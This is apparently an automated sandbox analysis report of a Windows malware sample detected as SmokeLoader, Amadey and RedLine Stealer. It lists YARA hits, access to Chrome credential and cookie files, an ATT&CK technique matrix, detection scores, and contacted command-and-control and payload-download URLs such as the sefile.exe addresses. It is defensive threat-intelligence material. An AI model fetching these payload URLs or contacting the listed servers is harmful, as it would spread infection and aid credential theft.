Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 00000012.00000002.370199951.0000000002420000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.310262930.00000000024F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.370470879.00000000026C1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.310454214.00000000025B1000.00000004.00000001.sdmp, type: MEMORY

Yara detected Amadey bot

Show sources

Source: Yara match	File source: 00000022.00000002.514819186.00000000025C2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.515067062.000000000261E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hnbux.exe PID: 5232, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Local\Temp\337E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 33.2.E6D3.exe.7250000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.337E.exe.4180000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.337E.exe.4260086.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.5dd5530.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.3.337E.exe.24ba9a8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.337E.exe.4260f6e.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.5df0950.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.337E.exe.4180ee8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.337E.exe.4180ee8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.4a70f6e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.3.337E.exe.24ba9a8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.337E.exe.4510000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.3.E6D3.exe.2dcd550.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.337E.exe.4510000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.4a70f6e.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.5dd6418.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.4b30ee8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.337E.exe.4180000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.5dd5530.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.7250000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.4b30000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.337E.exe.4260f6e.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.5dd6418.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.337E.exe.4260086.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.3.E6D3.exe.2dcd550.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.4b30000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.4b30ee8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.4a70086.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.5df0950.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.E6D3.exe.4a70086.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.AEC9.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000002.518966654.0000000005DD5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.464236334.0000000004220000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.463803382.0000000004180000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.522724822.0000000007250000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.517014320.0000000004B30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.472539078.0000000005575000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.377131232.00000000024BA000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.476719816.0000000002DCD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.516647880.0000000004A30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.464882923.0000000004510000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 337E.exe PID: 2172, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: E6D3.exe PID: 5524, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 00000012.00000002.370199951.0000000002420000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.310262930.00000000024F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.370470879.00000000026C1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.310454214.00000000025B1000.00000004.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation221	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools1	OS Credential Dumping1	System Time Discovery1	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Ingress Tool Transfer11	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Scheduled Task/Job1	Process Injection312	Deobfuscate/Decode Files or Information11	Input Capture1	File and Directory Discovery1	Remote Desktop Protocol	Data from Local System1	Exfiltration Over Bluetooth	Encrypted Channel12	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution1	Registry Run Keys / Startup Folder1	Scheduled Task/Job1	Obfuscated Files or Information2	Security Account Manager	System Information Discovery136	SMB/Windows Admin Shares	Input Capture1	Automated Exfiltration	Non-Standard Port11	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Command and Scripting Interpreter2	Logon Script (Mac)	Registry Run Keys / Startup Folder1	Software Packing2	NTDS	Security Software Discovery991	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol3	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Scheduled Task/Job1	Network Logon Script	Network Logon Script	DLL Side-Loading1	LSA Secrets	Virtualization/Sandbox Evasion651	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol24	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	File Deletion1	Cached Domain Credentials	Process Discovery13	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Masquerading11	DCSync	Application Window Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Modify Registry1	Proc Filesystem	Remote System Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Virtualization/Sandbox Evasion651	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Process Injection312	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Hidden Files and Directories1	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
V1yj2IcuOo.exe	33%	ReversingLabs	Win32.Trojan.Sabsik
V1yj2IcuOo.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\cbfafth	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\337E.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\cbfafth	33%	ReversingLabs	Win32.Trojan.Sabsik

Unpacked PE Files

Source	Detection	Scanner	Label	Download
33.1.E6D3.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
34.2.hnbux.exe.23c0e50.1.unpack	100%	Avira	HEUR/AGEN.1131354	Download File
0.2.V1yj2IcuOo.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
32.2.D955.exe.23f0e50.1.unpack	100%	Avira	HEUR/AGEN.1131354	Download File
0.3.V1yj2IcuOo.exe.2490000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.2.cbfafth.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.3.cbfafth.23c0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
41.2.hnbux.exe.24a0e50.1.unpack	100%	Avira	HEUR/AGEN.1131354	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://service.r	0%	URL Reputation	safe
https://api.ip.sb/geoip	0%	URL Reputation	safe
http://tempuri.org/	0%	Avira URL Cloud	safe
http://185.215.113.206/k8FppT/index.php?scr=10	0%	Avira URL Cloud	safe
http://185.215.113.206/k8FppT/index.php?scr=1e=	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnvironment	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnvironmentResponse	0%	Avira URL Cloud	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://tempuri.org/Endpoint/GetUpdates	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://185.215.113.206/k8FppT/index.php	0%	Avira URL Cloud	safe
http://www.interoperabilitybridges.com/wmp-extension-for-chrome	0%	URL Reputation	safe
http://185.215.113.206/k8FppT/index.php?scr=1F	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://tempuri.org/Endpoint/VerifyUpdate	0%	Avira URL Cloud	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://support.a	0%	URL Reputation	safe
http://185.215.113.206/k8FppT/index.phpR	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/CheckConnectResponse	0%	Avira URL Cloud	safe
http://schemas.datacontract.org/2004/07/	0%	URL Reputation	safe
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://185.215.113.206/k8FppT/index.php3	0%	Avira URL Cloud	safe
http://185.215.113.206/k8FppT/index.php2	0%	Avira URL Cloud	safe
http://185.215.113.206/k8FppT/index.php?scr=1Pb	0%	Avira URL Cloud	safe
http://185.215.113.206/k8FppT/index.php(	0%	Avira URL Cloud	safe
http://forms.rea	0%	URL Reputation	safe
http://185.215.113.29:8889	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	0%	Avira URL Cloud	safe
http://185.215.113.206/k8FppT/index.php=	0%	Avira URL Cloud	safe
http://185.215.113.206/k8FppT/index.php?scr=1	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://tempuri.org/Endpoint/EnvironmentSettings	0%	Avira URL Cloud	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://tempuri.org/Endpoint/VerifyUpdateResponse	0%	Avira URL Cloud	safe
http://go.micros	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://188.124.36.242:25802/	0%	Avira URL Cloud	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://185.215.113.206/k8FppT/index.phpn	0%	Avira URL Cloud	safe
https://api.ipify.orgcookies//settinString.Removeg	0%	URL Reputation	safe
http://tempuri.org/Endpoint/	0%	Avira URL Cloud	safe
http://tempuri.org/0	0%	Avira URL Cloud	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://193.142.59.119/forum/images/sefile.exe	100%	Avira URL Cloud	malware
http://185.215.113.206/k8FppT/index.php?scr=1d	0%	Avira URL Cloud	safe
https://api.ip.sb4	0%	URL Reputation	safe
https://helpx.ad	0%	URL Reputation	safe
http://185.215.113.206/k8FppT/index.php?scr=1l	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/CheckConnect	0%	Avira URL Cloud	safe
http://tempuri.org/t_nm	0%	Avira URL Cloud	safe
http://185.215.113.206/k8FppT/index.php?scr=1v	0%	Avira URL Cloud	safe
http://185.215.113.29:88894	0%	Avira URL Cloud	safe
http://185.215.113.206/k8FppT/index.php06/k8FppT/index.phpH	0%	Avira URL Cloud	safe
https://get.adob	0%	URL Reputation	safe
http://185.215.113.29:8889/	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://193.142.59.119/forum/images/sefile2.exe	100%	Avira URL Cloud	malware
http://tempuri.org/Endpoint/GetUpdatesResponse	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
atvcampingtrips.com	94.190.187.102	true	false	high
ng.hiterima.ru	217.107.34.191	true	false	high
gophamanapr.site	212.224.105.106	true	false	high
thegymmum.com	unknown	unknown	false	high
api.ip.sb	unknown	unknown	false	high
aucmoney.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/k8FppT/index.php	true	Avira URL Cloud: safe	unknown
http://185.215.113.206/k8FppT/index.php?scr=1	true	Avira URL Cloud: safe	unknown
http://193.142.59.119/forum/images/sefile.exe	true	Avira URL Cloud: malware	unknown
http://185.215.113.29:8889/	false	Avira URL Cloud: safe	unknown
http://193.142.59.119/forum/images/sefile2.exe	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	false		high
http://service.r	337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	false		high
https://api.ip.sb/geoip	337E.exe, 00000015.00000002.465882710.00000000045BD000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/D	337E.exe, 00000015.00000002.465882710.00000000045BD000.00000004.00000001.sdmp	false		high
http://tempuri.org/	337E.exe, 00000015.00000002.468847730.00000000047EB000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/k8FppT/index.php?scr=10	hnbux.exe, 00000022.00000002.522698865.000000000530B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers	explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	false		high
http://185.215.113.206/k8FppT/index.php?scr=1e=	hnbux.exe, 00000022.00000002.514819186.00000000025C2000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/SetEnvironment	337E.exe, 00000015.00000002.468332848.0000000004764000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/SetEnvironmentResponse	337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sajatypeworks.com	explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/GetUpdates	337E.exe, 00000015.00000002.468847730.00000000047EB000.00000004.00000001.sdmp, 337E.exe, 00000015.00000002.466028526.00000000045E8000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://support.google.com/chrome/?p=plugin_real	337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cn/cThe	explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultl	AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp	false		high
http://www.interoperabilitybridges.com/wmp-extension-for-chrome	337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/k8FppT/index.php?scr=1F	hnbux.exe, 00000022.00000002.514819186.00000000025C2000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://support.google.com/chrome/?p=plugin_pdf	337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	false		high
http://www.galapagosdesign.com/DPlease	explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdate	337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.urwpp.deDPlease	explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp	false		high
http://forms.real.com/real/realone/download.html?type=rpsp_us	337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	false		high
http://support.a	337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/k8FppT/index.phpR	hnbux.exe, 00000022.00000002.514819186.00000000025C2000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000004.00000000.267967386.0000000006870000.00000004.00000001.sdmp	false		high
http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe	337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_quicktime	337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	false		high
http://tempuri.org/Endpoint/CheckConnectResponse	337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.datacontract.org/2004/07/	337E.exe, 00000015.00000002.468332848.0000000004764000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	337E.exe, 00000015.00000002.464236334.0000000004220000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000003.449065609.00000000014F0000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.518966654.0000000005DD5000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	false		high
http://www.carterandcone.coml	explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/k8FppT/index.php3	hnbux.exe, 00000022.00000002.514819186.00000000025C2000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/k8FppT/index.php2	hnbux.exe, 00000022.00000002.514819186.00000000025C2000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/k8FppT/index.php?scr=1Pb	hnbux.exe, 00000022.00000002.514965530.00000000025F7000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_shockwave	337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	false		high
http://185.215.113.206/k8FppT/index.php(	hnbux.exe, 00000022.00000002.514819186.00000000025C2000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://forms.rea	337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.29:8889	337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/k8FppT/index.php=	hnbux.exe, 00000022.00000002.514819186.00000000025C2000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designersG	explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designers/?	explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/bThe	explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome/?p=plugin_wmp	337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com/designers?	explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	false		high
https://support.google.com/chrome/answer/6258784	337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	false		high
http://tempuri.org/Endpoint/EnvironmentSettings	337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	337E.exe, 00000015.00000002.468847730.00000000047EB000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_flash	337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	false		high
http://www.tiro.com	explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.goodfont.co.kr	explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome/?p=plugin_java	337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	false		high
http://tempuri.org/Endpoint/VerifyUpdateResponse	337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://go.micros	337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://188.124.36.242:25802/	AEC9.exe, 0000001C.00000002.528188417.0000000003A21000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://fontfabrik.com	explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/k8FppT/index.phpn	hnbux.exe, 00000022.00000002.514819186.00000000025C2000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.orgcookies//settinString.Removeg	337E.exe, 00000015.00000002.464236334.0000000004220000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000003.449065609.00000000014F0000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.518966654.0000000005DD5000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/fault	337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_divx	337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	false		high
http://fpdownload.macromedia.com/get/shockwave/default/english/win95nt/latest/Shockwave_Installer_Sl	337E.exe, 00000015.00000002.470941331.0000000004991000.00000004.00000001.sdmp	false		high
http://tempuri.org/Endpoint/	E6D3.exe, 00000021.00000002.517871157.0000000004DD1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/0	337E.exe, 00000015.00000002.465344976.0000000004571000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fonts.com	explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	false		high
http://www.sandoll.co.kr	explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.sakkal.com	explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
https://ipinfo.io/ip%appdata%	337E.exe, 00000015.00000002.464236334.0000000004220000.00000004.00000001.sdmp, AEC9.exe, 0000001C.00000003.449065609.00000000014F0000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.518966654.0000000005DD5000.00000004.00000001.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	explorer.exe, 00000004.00000000.280236892.000000000BE76000.00000002.00000001.sdmp	false		high
